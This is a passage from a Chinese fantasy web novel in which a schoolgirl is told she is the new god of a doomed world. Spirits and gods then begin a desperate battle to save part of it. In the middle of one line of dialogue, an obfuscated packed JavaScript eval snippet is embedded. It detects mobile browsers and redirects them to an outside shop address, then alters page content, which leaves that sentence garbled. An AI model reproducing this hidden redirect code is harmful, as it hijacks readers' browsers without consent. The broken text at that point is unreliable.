观音道:“火克尊,你方才还说水力尊是个小女孩的时候你就知她必成大器。” 丹木盯着地上的女孩,连连摆手:“……不,不不,这不一样,不一样的。诶,我是不知道你眼里看这小丫头是什么色儿的壁虎。你要是有‘众生眼’的至尊版,切到‘草木眼-神木系’看看,你就理解本尊了!” 观音酸溜溜地说:“火克尊,我只是个普通语者。‘众生眼’至尊版可是扶枢院千年前才研发出来的,瞿如前辈生前一共就只做了十五对,这种古董级别的宝贝,算算魂芥,也只有十二尊和扶枢院首座买得起!研发出来可不就是让人眼馋的!我就是把自己的魂芥榨干也买不起……再说,像我们这样的普通语者谁愿意花那么多辛苦攒下来的魂语芥,就为了看看别的物种眼中的生灵是何模样?对我们这些普通语者来说,通用的众生眼已经够用了。” 使用“众生眼”,便可在视物时将其他物种转化为自身物种的模样,比如此刻,观音的“众生眼”中的丹木就是一只浑身着火、摇头摆尾的亮橙色鬃狮蜥,而丹木的“众生眼”里的观音是一株粉紫相间的多肉植物。 与之相对,不使用“众生眼”时,看猫是猫,看狗是狗,看人是人,看石头木头那就是石头木头,视物时见其本相,叫“如是观”。 不同生灵对于理解异己物种总是很困难。风露版图的语者花鸟鱼虫、飞禽走兽、植物动物都有,在通过语者测试后,由于工作需要,都要统一佩戴众生眼,以降低不同物种间的理解成本。 而众生眼至尊版,是扶枢院的造物天才瞿如鸟在众生眼的基础上发明的,佩戴之后可以自由切换到任何物种视角,看别的物种眼中的众生是何模样。 丹木大摇其头:“此言差矣!没用过怎么知道至尊版的好?我保你一用难忘!”它不由分说捏了个火语决,那小火苗一跃,钻过了敲雪的语境跳进观音眼中,观音捂着眼镜“啊”地一声痛呼,随即眨了眨眼睛,看向丹木:“火克尊,你没什么变化啊?” “……废话!本尊本来就是木头,用草木系的众生眼看自然也是木头!叫你看她啊。” 观音这才扭头去看地上的女孩。守宫粉嘴微张:“……啊,这是个……瓢?”她眨了眨圆眼,又看向敲雪,瞬间两眼迸星:“哇……” 丹木:“怎么样,是不是很好用?叫一声太师叔,等你九百岁生日的时候给你压祟钱买一个。” 观音心说这多话的木头也真好意思。火真尊精卫和观音的师祖水恒尊平辈,丹木是精卫徒弟,虽说已经封尊成神,再怎么说也只和她师父昼竹平辈,她应该叫丹木师叔才对。但观音向来是个脾性温和,能屈能伸的,白飞来的压祟钱对一条几百岁的小守宫来说还是太有诱惑力了。观音张口:“太师……唔!” 冷不丁又被敲雪喂噤声咒了。守宫一双水汪汪的黑眼看过去,敲雪道:“我给你买。” 丹木道:“哟!水力尊还会醋!可怕,太可怕了。” 于子夜醒来时,看到的便是这幅场景:一位周身冷光盈盈的女子、一根着火的焦黑木头、一只金色的死鸟、一只无毛猫……啊不,一只肥如卡车的守宫,正在一片泥泞血肉中聊得有来有回。 她呆住了。 ……这怪梦究竟还能多离奇?于子夜心想,刚刚应该是陷入了深睡眠,这会儿又开始快速眼动了。梦的剧情都不连续,难得场景倒还算统一。 丹木第一个注意到:“哟喂,小瓢儿醒啦?她为什么用那种眼神看着我们?” 观音:“她是不是还没有众生眼?” 敲雪:“忘了。” 敲雪打开乾坤袋翻翻找找,在她往外扔了十几只旧鼎、几十个古杯后,观音忍不住小声对丹木耳语:“师姨和师祖还真是越来越像了呢。” 丹木叹道:“原来囤积癖是可以通过师门传承的啊。” 观音:“……我觉得不是这个原因,我师父就没有传承到。” 丹木道:“也是,昼竹那孩子确实谨而有序。不过水力尊她是人类对吧?我记得在哪儿听说过,养大人类小孩是需要喂奶水的。难不成是通过……” 观音:“……住口。我觉得水恒尊作为石头,没有那种东西。” “可以有。” 丹木和观音看向突然开口的于子夜。丹木稀奇道:“喂,你知道水恒尊是谁吗,就造谣?” 于子夜爬起来,冷静地拍了拍校服上的土:“你一根木头都会说话了,石头当然可以会喂奶。” 有人拌嘴,丹木来劲了,阳焰熊熊燃起:“小瓢,你什么意思,什么叫本尊都会说话?本尊乃上古神木丹木是也!上天入地唯一克火御火又能控火的神木!” 于子夜道:“哦。” 丹木怒道:“什么叫哦!不信你去人类写的那个什么什么经里查!” 于子夜心说:我没不信你啊。反正我一般深睡眠不到一个小时,一会儿醒了也不会记得这回事。 谁料丹木无语片刻,道:“水力尊,让你费老劲儿找的小瓢醒醒,她还以为是在做梦呐!” 于子夜忖道:奇了,这梦里的木头竟还会读心。谁料下一秒便见那守宫对自己眨了眨眼,吐着信子柔声道:“……神尊,您没有打开自己的魂语境护体,现在您的语芥飘得到处都是,您在想什么我们都看得到。” 于子夜心中大叫:救命。 观音摇了摇尾巴尖儿:“神尊别怕,我们会保护您的……啊,我是前段时间有点儿吃多了,抱歉,让您见笑了。呜呜……您别再骂了……” 于子夜尴尬癌发作,什么也不敢再想了。 一个凉凉的东西落在她鼻梁上。于子夜一回头,那冷光盈盈的短发女子收回了水绳。于子夜伸手一摸,竟是一副眼镜。 敲雪道:“这是现今人类语者所用,众生眼附在上头,能应急。”见于子夜双眼一动不动地注视着自己,敲雪一愣,后退一步,收起水语境敛熄光芒,俯首单膝跪地。 观音见敲雪跪了,忙不迭跟着跪下。丹木想对方尊号中既有“后”字,同为语尊的敲雪又跪了,自己不好不跪,遂也敛了锋芒收了火语境,单膝跪下。 于子夜见三人跪着动也不动,只想赶紧把这怪梦做完。 搜肠刮肚半晌,她不确定地挤出四字:“……爱卿平身?” 5. 耳不暇听犹疑是梦 目眩神摇终觉非真 “……简单来说,你们那个‘风露版图’是一个增殖出许多子世界的母世界,判定我所在的世界是个废物,打算在这里彻底变成废物之前回收它,把其中能用的元素——就是叫‘语芥’的那个东西——回收并且循环利用,给你们那个母世界增殖出来的其他子世界当肥料?你们来找我,是觉得我能阻止回收?”于子夜问。 “哇!神尊好生厉害!”观音鼓爪:“居然一下子全都听懂了!” 丹木道:“听得马马虎虎吧。纠正一下,不是‘这里’,此钱塘非彼钱塘!这儿只是个小千芥,你所在的那个‘彼钱塘’,才是风露版图真正要回收的中千芥。就像一个大蛋里套着个小蛋,这儿是那个小蛋。不过,大蛋要是没了小蛋也没了。” 于子夜心说,这梦里都是什么乱七八糟的。 丹木道:“乱七八糟吧?我也觉得!这破地方!要是没这几万年魂芥修为打底,本尊根本没法在这个小千芥呼吸,难以想象水恒尊活着的时候会预言这种地方还有救——就算有祂的‘未来眼’预言,我也是断断不肯相信的!贼船啊贼船!”它一边说,一边伸出枝条对敲雪指指戳戳。 观音小声道:“火克尊,少说点吧。既来之,则安之呐。” 于子夜淡淡地说:“我平时不怎么玩剧本杀。请问你们这个是机制本、言情本,还是什么穿书文、无限流?” 观音弱弱地问:“神尊,这些都是什么?” 丹木扶额问敲雪:“我真是想不通了,你到底怎么确定是她的?据我所知,天语石只能通过尊号连结新神所在的芥球,不能直接找到人。钱塘这个中千芥还是很大的吧?真要在这种地方找到新神,还是得几个语者费一番劲儿找上好几百年的……你究竟是怎么定位到她的?” 敲雪道:“此钱塘有我故人旧物。” 丹木道:“哦,所以你先是用天语石连结这个中千芥,然后将一直放置在此钱塘的旧物送至彼钱塘,让那旧物把她拽到此钱塘来?聪明呀!竟不知这故人是哪位?旧物又是什么东东?” 观音眼观鼻鼻观心地低头看着脚下,丹木目光随她移到那肉泥上:“啊呀,故人……” 观音疑惑道:“语尊,既然是您的故人,辞世得差不多九百年了吧?钱塘已八百年未曾以扶桑水路连结风露版图,这世间能这么长时间还不衰竭的语芥只有一种了……” 血魂芥。 魂芥为各语者天生所有,彼此独立、各异;而血魂芥是世间唯一一种通过血缘关系彼此连结、相融的语芥。 敲雪颔首,也不避讳,睇着那摊肉泥道:“这是我父亲。” 观音和丹木一齐抖了三抖。于子夜回想起那老人背后高高凸起的孕肚、身上捅出的虫足,也是一阵鸡皮疙瘩乱掉。 敲雪向她走过来,于子夜一抬眼,撞进那雪玉面孔、冰斫眼眸,顿时呼吸也忘了。 好浅的一双眼…… 明明是普通的黑眸,映着火光,却生出上半墨色下半透银的视觉错觉。透的那一半像冰斫出来的,质地很硬,让人想到蛇瞳,又想到用鲛人油脂点的长明冰灯。 这张脸怎么看都不似真人,只左眼下方横了一道淡淡的疤痕,添了一笔生气。 敲雪问她:“‘钱塘水都’印可拿到了?” 于子夜从校服口袋里摸出那枚玉印交给她,敲雪道:“这是你的东西了,不必还我。” 于子夜莫名其妙,心想,我梦中的建模能力固然能捏出这种叫山川失色的面容,可这些乱七八糟的到底和我有什么关系。 再说了,就算今天的梦是个古装仙侠本,哪有这么漂亮的女神仙是短头发。没头没尾,莫名其妙,头痛,还我深睡眠。 于子夜道:“你们的母世界觉得我待的这个世界是废物对吧,我无比认同,要回收请尽快。” 敲雪道:“这是你的中千芥。” 观音早被敲雪这种惜字如金的说话风格折磨了几百年,忙在一旁替她解释道:“水力尊的意思是,您是钱塘这个中千芥的新神。我们从风露版图叛出,没了扶桑之路源源不断输送语芥支持,都需要用魂芥自造语境,才能调用语境范围内的语芥——喏,就像我现在只能调用这个芥球范围内的水语芥一样。” 守宫的指尖凝出一朵小小的冰花:“但您和我们不一样。您出生于这个中千芥,只要身处钱塘,这儿便是您天然的语境。您可以征用这儿任何的……” 敲雪道:“她是石语者。” “……哦,您就可以征用这儿任何的石语芥。您是这个世界的新神,只有您有可能让这个中千芥语芥复生,重新连结上……” “我的意思是,这一切到底和我有什么关系?” 于子夜心中的想法通过语芥四散飘出,她自己毫无察觉,却打断了观音:“不用说了。我快醒了,这个梦已经够离谱了!” “这么想醒来是吧?行!本尊这就给你指条明路!”丹木突然道。 于子夜面带狐疑地看着它,心想这铁棍山药就算人形也看不出到底男的女的。 “喂!太没礼貌了吧!什么铁棍山药?本尊是上古神木!!神木和大多数神兽一样,都是不分性别的!以为谁都像你们人类一样,连门口放两块大石头都要分公母!俗!俗不可耐!” 行吧,还是根酷儿木头。于子夜问:“神木老师。请问怎么醒来?” 丹木面露满意:“还算上道。按我说的做哈:首先,双手找到你的脑门,那里有两个视觉感受器官,也就是你们人类叫做眼睛的东西。” 于子夜总觉得诡异,但还是照做了。 “其次,食指和中指并拢,放在你的上眼睑,轻轻把它扒拉下来——对,俗称‘闭上眼睛’。很好。” 观音在一旁默默叹了口气。敲雪翻了个白眼,别过头去,望着黑暗里那口破钟出神。 “最后一步,深吸一口气,屏住三秒——一,二,三,呼!深深地呼出……” “然后呢?”于子夜问。 “然后——当然是睁开眼睛啦!”丹木焰光抖擞:“恭喜你!从短暂的空虚、混沌中再次回到清醒的人世!感觉相当不错吧?” 于子夜:…… “喂喂喂,这位小瓢尊,露出那副表情是什么意思?我都看不下去了啊。水力尊虽说年纪小了些,现在好歹也是风露版图有头有脸的主神,抛去好编制铁饭碗,来这鸟不拉屎毒气弥漫魍魉横行的破地方,就为了救你们那个中千芥!你别不识好歹啊,她要是不唤醒你,你就得和钱塘一道玩完儿!” 玩完就玩完。爱谁谁。要我做英雄?不好意思,我不是。 平日里面于子夜总有诸多地方如鲠在喉又不敢反驳,此刻既在梦里,她便百无禁忌想说什么说什么了,反正此刻她脑海中想什么也无处遁形。 “无法呼吸?觉得混乱?”她叹了口气,语气淡得像在隔岸观火评述别人的事:“我活在这个毒气室一样的世界已经十六年了,每天恨不得长出腮来,才能消化这一切。周围的所有人好像只要有氧气就可以呼吸,但我总觉得要窒息而死了。” “你们好像是来找救世主的。我很明确地说,我不是,也没兴趣。活着对我来说已经用尽全力了。这从来不是我的世界,如果它要完蛋,我希望是越快越好。要回收,连我一起,因为我也是个废物。” 无所谓了。 这一口淤气吐出来,倒是舒爽许多。 于子夜不想承担任何期待。她想轻一点,随便一点,透明一点,少些冲突,多点安静,最好没人会发现她。 但是今天怎么会做这样的梦?她开始审视、责怪自己的潜意识——原来自己内心深处竟还保留荒唐的英雄主义么?还对成为幼稚救世故事的主角有所期待?对于一个局外人来说,这个剧本一点儿也不适合她。 一片死寂。丹木看看敲雪,又看看观音,耸了耸肩:“啊哦。” 于子夜把手中玉印往地上重重一砸,绕过脚下那滩血肉,径直向塔基的废墟走过去,被哑铃砸到的脚在梦中竟也还在痛着。 “行了,可恶的快速眼动期。我打算醒了,你们继续玩儿吧。这一点也不好玩。”她想。 于子夜用力闭上眼,捏紧拳头,用有生以来最大的声音喊道:“醒来!” 她用力睁开双眼,眼前仍是开化寺那口大钟。 回头一看,鬼火人、胖妞、短发神女莫名其妙地看着她。 ……一定是这个破眼镜的问题。 于子夜摘掉眼镜,再闭眼:“醒来,醒来啊!!!” 睁开眼,仍是那口钟。再回头,鬼火木头、卡车守宫、短发神女岿然不动地望着她。 “……神尊,要不您还是先休息一下吧?”观音一脸担忧。 “不可能……”于子夜摇头。 “……他们说的是真的。” 于子夜看向那口钟。刚才是……钟说话了? 一个清瘦的身形从那钟后走出来:“没用的,我试过了,这好像的确不是梦。” 于子夜不可思议地看清面前的人:“……戴天航?” 戴天航面色很差,校服外套上沾满了湿泥。 竟不知道他是从什么时候开始藏在那儿的。 于子夜顿了顿,问:“你也能听到我现在的心声吗?” 戴天航摇头,勉强扯出一个笑:“我从小就很希望能有读心术之类的特异功能,如果真有的话,应该能避免许多麻烦。” 于子夜说:“我现在在想,‘日有所思夜有所梦’真是一点不假,你是我见过唯一一个招新时就开口就要钱的。我梦到你,也算事出有因。” 她想,也许也因为你是这个学校除了祁潇骁之外第一个主动跟我搭话的。 戴天航笑了:“原来如此,听起来挺合乎逻辑的。那么我此刻梦到你,大概也是因为……你是教改班除了我之外唯一不上竞赛的人?” “你刚才说这不是梦,怎么证明?”她问。 戴天航说:“这不难。你带手机了吗?这儿有信号。” 于子夜一开手机,居然还真有信号。戴天航说:“区分梦境和现实最方便的就是用随机数检验法,因为梦中的数字不太稳定。你炒币吗?” 于子夜莫名其妙:“哪有高中生会炒那种东西?你炒?” 戴天航真是个怪怪的人。她想。又是做PP夹故意卖弄知识,又是要团费,又是炒币,东一榔头西一棒槌的,总觉得在表演些什么,叫人琢磨不透。 “当然不,”戴天航摇头:“只是需要一个对我们都足够随机的长串数字。我们一起打开比特币兑人民币的实时汇率,背对对方一起把现在的时刻和实时价写在沙地上,然后交叉检查。如果你和我写下的两个变量都一样,那我们大概率不是在做梦。” 于子夜道:“也不一定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509623|202942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也有可能我们是在同一个梦境中。” 戴天航道:“那也好过一个人在怪梦里。试试吧。” 两人试了一次,于子夜用树枝写完,和戴天航交换位置,将手机屏幕上的时间和六位数字与沙地上的数字对照,果然是一样的。 丹木在一旁不明就里地托腮看了半天:“他们在干什么,画符吗?” 观音小声问:“水力尊,那男孩是混沌语芥聚成的魍魉吗?需要出手干掉吗?” 敲雪摇头:“麻烦。” 丹木奇道:“嚯,稀奇,当真稀奇,居然只是个普通人类吗?可这小子是怎么进到‘此钱塘’的?而且居然待了这么久都没有被‘混沌’撕碎吗?” 观音道:“是啊,我们都是因为有魂语境护体,就连小神尊她都被魍魉化成的岩睑虫攻击了,这个男孩儿居然毫发无损……诶!” 于子夜正蜡在地上发愣,突然看到戴天航的双腿在眼前剧烈晃动——一抬头,只见他被水绳扼住喉咙,双脚腾空。 戴天航那苍白的脸都被勒得充血发红,但挤出个讨好的笑面,艰难地对敲雪道:“这位……神仙姐姐,有话好说,我一定配合。” 敲雪操着三尺水从戴天航衬衫上刮下一片黑泥,那黑泥瞬间碎散成炭灰般支离破碎的黑色文字飘散而去。 她盯着戴天航:“魍魉的气息。你是语者?” 戴天航:“……‘语者’是什么?” 丹木道:“孩儿,先别怕,这位神仙姐姐如果想杀你的话,没这么温柔。额,我猜她大概是想问,方才攻击你的怪物,是你杀死的?” 戴天航摇头。他声音微微发颤,看得出在竭力维持住语调的平静。 “……不,不是。我在塔前等人,听到开化寺墙边钟鸣,却不见有人敲钟,就想走过去看看,结果突然有只怪物从塔里扑了出来。我还没反应过来,已经被护着滚在钟边。有个人救了我。那怪物跑得快,他把我放下,追着那怪物去了,等我爬起来,发现周围的天居然黑了。” 观音同情地道:“看来是被不小心殃及的池鱼呢……语尊,他的确只是个无辜的孩子,把他送回‘彼钱塘’去吧?” 敲雪眉头紧皱:“是何模样?” “怪物吗?那怪物很像恐怖片里的女鬼,头发花白,瘦得像骷髅……” “人。”敲雪不耐烦地打断。 “您是问……救我那个人吗?没看清脸,戴着冷帽,头发很长。没说话,不过个子挺高的,大概是个男人。哦对,穿着长款的灰色羽绒服。” 于子夜突然喜出望外地大声说:“太好了!” 众人都看着她。 于子夜道:“不合逻辑之处就也是梦境的表现!钱塘现在的天气,谁还穿长款羽绒服、戴冷帽!这一定是梦没错了!” 戴天航觉得有理:“对哦……” 观音突然想起什么似的:“等等,水力尊,您刚才问他是不是语者,难道说……” 丹木笑道:“胖宝宝,你还得多练啊,我都要怀疑语者测试你师姨买通主试给你放水了。靠这么近,还察觉不出来?这小子身上有石语芥的痕迹,而且干净得很,一点也没被这环境中的‘混沌’污染过。” 言下之意,只有储存在语者体内的魂语芥才能这么干净。 观音惊道:“救他的人是石语者?!可是风露版图不是一直密切监控着‘彼钱塘’么?这个中千芥已经两三百年没有诞生过新语者了吧!” 丹木瞅着敲雪,话里有话地说:“啧,水力尊,你说这么干净的要是‘水语芥’该多好?” 若是水语芥,说明彼钱塘还有水语者活着——不管这个水语者究竟是不是长钟,都证明钱塘语境尚有生机、还有语芥复生的可能性。 敲雪把戴天航放了下来,拧眉不语。 丹木对戴天航道:“孩儿别怕,呃我不是妖怪……靠!也不是山药!小瓢儿,赶紧把你那眼镜摘下来先给他用用,这就对了。孩儿,我问你,你方才说,那怪物从钟里扑出来的时候,你看到的天还是亮的?” 戴天航点了点头。 “坏了,”丹木看向敲雪:“水力尊,这是你们来时捅开的那两道贯穿须弥界和中千芥的口子干的好事,还是你那‘故人旧物’干的好事?不管怎么样,此钱塘的‘混沌魍魉’已经跑到彼钱塘去了,我看都不用等着獬豸台回收,那个中千芥自己就完蛋了。” 丹木话音刚落,远天一道赤色闪电劈将下来,电光亮处死生差互,天地血红如染,草木山石尽数显形。 众人惊愕抬头,却不闻半声雷响。那闪电来得突兀,去得也快,转瞬天地重归黑暗。 死寂。诡谲的死寂。似有千军万马正屏息伏于暗处,只待一声号令便要杀将出来。 “不好!”丹木敛了阳焰,压低声道:“是精卫!还有扶桑火路……就我感知到的语芥,这次风露版图最少出动了万名扶桑子!” 出动了扶枢院半数人马,真是好大阵仗,比当年岚河城征讨文鳐鱼时出动的兵马还要多至少一倍。 观音年纪最小,不曾经历过这种场面,当下心惊肉跳:“那……火真尊她为何还不动手?” 丹木道:“是啊,师父她干架向来单刀直取,从不等兵将到齐,除非……” 他绝望地看向敲雪:“……他们根本不是来干架的。” 是直接来回收钱塘的。 6. 敲雪背水悍绝后路 子夜临阵弃众奔逃 精卫根本不是来缉拿敲雪,而是提前执行回收钱塘的任务! 这个认知让丹木和观音不寒而栗。 敲雪已捅穿须弥界、打伤中和二尊、私用天语石妄图救一个已经被獬豸台宣判死刑的中千芥,已是与风露版图公然为敌。 既然她身在钱塘,钱塘又要被回收,那便直接将这中千芥连同叛徒的魂芥一道碾碎! 观音颤声道:“语尊,不如去‘彼钱塘’暂避再做打算——即便火真尊已经来了,回收完偌大一个拥有完整语芥的中千芥还是需要时间的。” “此钱塘”这个小千芥语芥更少,外部又没有语境,地方小又少个保护罩,回收起来易如反掌。天语石捅出的口子已经暴露了这个小千芥的位置,在场三位语者都很清楚,若是风露版图决定先回收这里,此钱塘决计撑不住一炷香时间,就会化为齑粉。 丹木对敲雪说:“胖妞妞说得不错!瓢儿、孩儿和魍魉既都是自那塔身而出,可知你捅出来的那道、贯通彼此两个钱塘的罅隙大抵就在塔基左右。你我合力将其击穿,先到彼钱塘那中千芥暂避为是!” 敲雪不语,摸出一把粼光闪闪的玉尺,往地上一摔。 倏然风过,于子夜抬头一看,刚才还空无一物的东侧突然多出一座飞檐翘角的宝塔,也是阁楼式塔,却比六合塔稍矮些,六边七层,看上去更文气。 “……占鳌塔?”戴天航率先认了出来:“这里是……盐官?” 于子夜回头,六和塔位置破败的塔基和开化寺那口大钟还在右手边,左手边却确确实实是盐官古城的城墙,以及江边那最具标志性的占鳌塔和镇海铁牛。 盐官明明在钱塘江下游60多公里之处,如今转眼间,占鳌塔竟离六合塔不到百米之隔! 就连六和塔坐落的月轮山也成了目见最高的山丘,东头地势平缓,江北沿岸的九龙头群山不知所踪,竟是直接与盐官古城平缓的地形接壤! 而江流却没有断。 “钱塘江的水道也变宽了……连流向也往正东偏了……”戴天航不可思议地往东看去,只见水面更加开阔,比钱塘城内的江段开阔平直太多。 钱塘江在之江流段由南向东拐弯后,竟是直接接续上了盐官的江段! “缩地尺?”丹木惊道:“哇噻,这也是瞿如的手笔吧?我记得瞿如的遗世作品中只有三把缩地尺,水力尊出手当真阔绰啊!” 这一摔,至少值得上十年攒的魂芥修为。真是豪横。 东向看去,退潮后的海沙渺茫一片,却能看出平沙尽头直通入海口。这儿水语芥充沛,但质量很差,周遭的混沌也越也来越浓烈。 丹木反应过来这儿便是这个小千芥的边缘,它突然意识到敲雪要做什么。 丹木烧出阳焰,一把攥住三尺水向六合塔塔基探出的刃锋。 “嗤”的一声,水火骤碰,神木的枝条瞬间碳化了。 丹木强忍剧痛,难得严肃道:“水力尊,知道你很强,但这是不可能做到的!” “不试试怎么知道?” 电光火石间,三尺水已摆脱枝条的钳制。 敲雪双掌遽然一合,水绳如巨藤自掌间涌出,死死拽住六合塔基断垣残木。脚下大地訇然颤动,众人七歪八倒站立不住。 飞沙走石之间,敲雪如如不动,她掌心按住,双手剑指猛然一错—— 水绳牵拉之下,巨大的六和塔身竟被从那废址之下倒拔而出!转瞬间,底部两层露塔身出地表,像一枚梭形塞子倒插在大地之上。 然而由于塔身中空,外部的木质结构在狂风碎石的击打之下发出行将崩溃的簌簌颤声。 丹木大声道:“塞不住的!水力尊,你不可能单用这塔身便将两个钱塘完全隔绝!” 冷光贴地一闪。 众人向脚下看去,只见水刃寒光过处,沙石震起,正不知发生了什么,但见不远处的占鳌塔一颤,下一刻便被水绳从顶至底捆缚住,连根拔起拉近,塔尖倒转,倒插而下,牢牢嵌合进被拔出地面一半的六合塔身之中。 敲雪飞速覆了个水语禁制上去。 唯一的退路,就这样被她亲手严丝合缝地堵上了。 她要断绝风露版图追兵通过这道罅隙直接由“此钱塘”进入“彼钱塘”、从内部迅速回收整个中千芥的可能。 观音这才恍然大悟:“语尊她不会是要……” 丹木道:“你师姨她疯了!她想在这儿召唤涌潮,用海水生生给这个小千芥重新造出一个水语境!!!这是自断后路,我们都得跟她一块儿死在这!” 六和塔的位置在钱江上游,从入海口逆流推进钱塘湾的涌潮,是无论如何都到达不了钱塘城内。但如果此地就是盐官,一切将截然不同——起潮后,一线潮会在此地被水道的形状扩到最大。 敲雪足尖点地而落,凤眼冷冷看来。 丹木道:“水力尊,你这是白费力气!就算你能用这堆乱七八糟破烂语芥构造出一个完整的语境裹住‘此钱塘’,造出的芥球肯定也稀薄且脆皮,绝对打不过有扶桑之路支持的语者们的!!况且这儿的水语芥都被混沌污染过,精卫一把真火就能把这儿全烧了!” “那遍新造一个小千芥球。”敲雪说。 丹木一愣,品出她言下之意简直要疯了:“你要从此地切割一块小千芥下来、带着这个新造出的芥球逃命?!……就像岚河城逃逸那样?不成不成不成!绝对不成!难道你知道该怎么做?” 敲雪说:“不知道。但可以一试,” “疯了疯了疯了真是疯了……” 二神这厢吵着,于子夜和戴天航躲在镇海铁牛后头瑟瑟发抖。 戴天航探出半个脑袋,盯着那两座钉子一样倒插进地面的塔,又迅速缩回来,小声对于子夜道:“我现在觉得,你是对的,是梦的可能性更大……这儿不符合逻辑和物理学的事情有点多。” 方才离得远,于子夜此刻才看清戴天航脸上布满了青紫瘀伤——是新的,昨天还没有。 她还没开口问,戴天航已察觉到了她的目光。他讪笑一声,摸了摸伤处:“啊,刚才被那怪物揍的,没事。” 可那些明明是瘀伤,看上去是被重物、钝器或者拳头砸出来的,不是刚留下的。于子夜看得明白,但戴天航既不愿意告诉她实情,她便不再问。 戴天航道:“……不过,不管是梦是真,既然是朋友,总得想办法一起出去。” 于子夜抬眉:“朋友?” “不是吗?” 于子夜正在措辞,突然腰间一紧,竟是被条一掌宽的水绳拦腰掳了出来! 戴天航忙伸手去拉,可哪里拉得住。 水绳一松,于子夜像个鸡仔一样被掼进观音待的水语境里,一落地,面朝敲雪站得直挺挺。 敲雪低头直视她:“将地势抬高,否则潮头会将此地一并淹了。” 于子夜:什么? 敲雪懒得再解释,将一片东西插进了于子夜校服领口,口中喁喁默念。 于子夜低头,只见领口插着一枚巴掌宽的叶片。叶片金光一闪,浮出几个古字,下一秒,她本来垂在身体两侧的双手向下一翻,双臂突然不受控地抬了起来。 肢体突然被外力攫住、失去控制,于子夜忍不住大叫出声,却发现自己半点儿声音也发不出来——不,不是发不出声,而是脑海中空空如也! 别说想法和语句了,连一个念头也无,竟像个被水泵抽干了的水池。 守宫在一旁焦虑地爬来扭去:“神尊忍一忍,语者前几次征用语芥时都逃不过‘失语’的,捱过这个阶段就好了!真的!我一百岁以前都没办法在征用语芥的时同时说话!” 于子夜一声不吭地瞪着守宫。 观音又道:“别紧张,水力尊可是将她自己的扶桑叶给您了!叶脉中附有她的魂芥,她会帮您的!哎呀,神尊好生厉害!我看到您的语芥像泡泡一样冒出来了!居然第一次征用语芥就能同时生出想法吗!不愧是被天语石选中的神尊呢!我看看……” “唔……现在的确是水力尊在操控、啊不,辅助您。什么?您想问水力尊想做什么为何不直接自己做?——啊,谁让我们几个里只有您是石语者呢?只有您能征用石语芥啊,神尊加油,你没问题的!” 戴天航在一旁见于子夜双手平举、眼神哀怨,只张嘴不出声,觉得她像只被人卡着前腿根拎起来的幼猫。 忽地,于子夜“啊”的一声,两臂猛然向左右撑开! 轰隆一声巨响,众人脚下三百余年来坚如铁石的海塘,竟如纸糊的一般,豁剌剌裂开一道口子! 初时只得一线,旋即越崩越阔,直透出数丈宽一条自北向南的地缝,如一条黑龙,蜿蜒着蹿将进去,将大地齐齐整整劈作东西两半—— 西半边低些的是钱塘城,那倒插着的塔身依稀可辨;东半边高些的是盐官县,占鳌塔早已不知去向,只余下黑黝黝一尊镇海铁牛,默然蹲在倾颓的城墙根下。 这一声崩天裂地之响,端的是震耳欲聋! 大地断裂,本来东西流向的钱塘江道被劈断成十字,水位骤降,向地裂深处奔流,整条江水转眼间漏了个干净。 “水力尊你真是疯了!你真要弃掉一半的小千芥,用一半的‘此钱塘’再造一个芥球?!从来没有人这么做过吧!” 敲雪道:“此地干净的水语芥不够。” 意思是即便从海上召来涌潮,此钱塘混沌稀薄的水语芥也不足以造出能够笼罩整个小千芥的水语境。 为了造出完整的语境,她要动用自己的魂语芥,但再强大的语者魂语芥是有限的,必须尽可能缩小芥球的范围。 丹木一时不知该说什么,看向观音:“……这操作你熟啊。” 敲雪此举,实为背水一战、断尾求生。 丹木九百多年前初识敲雪时便见识过她是如何擅长运用地势作战。它飞速猜想着敲雪接下来的战略—— 用缩地尺直通盐官,定是想从正东宽阔的喇叭形河口迎头召来潮水,给精卫重兵造成她要拼死守卫整个小千芥的假象;劈开大地制造东西两边的高低差,定是想将主战场移到西侧地势低的钱塘城,转移敌军注意力,以争取时间让海水借潮势通过东西水道,流入南北向的地裂;接下来,再趁敌军不备,将十字水道北线与东线的水语芥如拢掌一阖在空中相汇,便能在东北侧地势较高的盐官镇建立起一个较小的水语境芥球。 她要保住这四分之一的此钱塘。 西侧和南侧的钱塘城就是作为代价,她要断掉的、那条用以吸引捕食者目光的尾巴。 背后的月轮山轰隆震颤起来,敲雪就地移山采石,以“三尺水”捆来数十座直径数丈、宛若小丘的巨石,对于子夜道:“举着。” 于子夜刚从失语状态缓过来,开口就是:“啊?” 敲雪道:“地缝太宽。” 观音爬到于子夜肩上在她耳边道:“神尊,你方才下手太重了,这地缝劈得南宽北窄,潮水进入地裂之后会回流向南,我们却要把水向北道引,得想办法让潮水只能进、不能出。” 敲雪点头:“一会儿潮头过了,你就将这些石头扔下去。记得掷在十字交叉处的海塘前,切莫掷在北部地裂中阻塞水路。” 她语气平得像是交给了于子夜一兜子鹅卵石一样。于子夜道:“什么啊,我才不……” 话没说完,那种熟悉的大脑空白感又来了。 观音见敲雪二话不说折起于子夜的手托住巨石并下了个水语禁制,默默在心中道,这可怜的小神尊估计还以为自己在做梦,就这样被赶鸭子上架,可见师姨当年对我已是过于有耐心了。 敲雪对观音说:“你留在语境中护持她,守好禁制,潮头一进来,便助她丢下巨石、阻挡魍魉。待盐官地界语境将阖,看准时机立刻带她进入新芥球,随我撤离,能做到?” 观音用力点点头:“没问题的!”她又看向戴天航,吐着信子嗫嚅道:“……语尊,那他呢?” 敲雪用魂芥临时给她搭的水语境虽坚固厚实,但本就只能容纳一人,此刻又多装了个于子夜进去,那语境本就已是强弩之末。 敲雪目不斜视:“我已无额外的魂芥可用。” 观音立刻满脸通红:“啊,抱、抱歉……”她这才想起敲雪的魂芥一小半都附在了于子夜领口插的那片扶桑叶上,剩下的一大半还要用于作战、构造出足以笼罩整个东北地头的语境,而自己不仅从中分了一瓢,还问出了如此不懂事的问题。 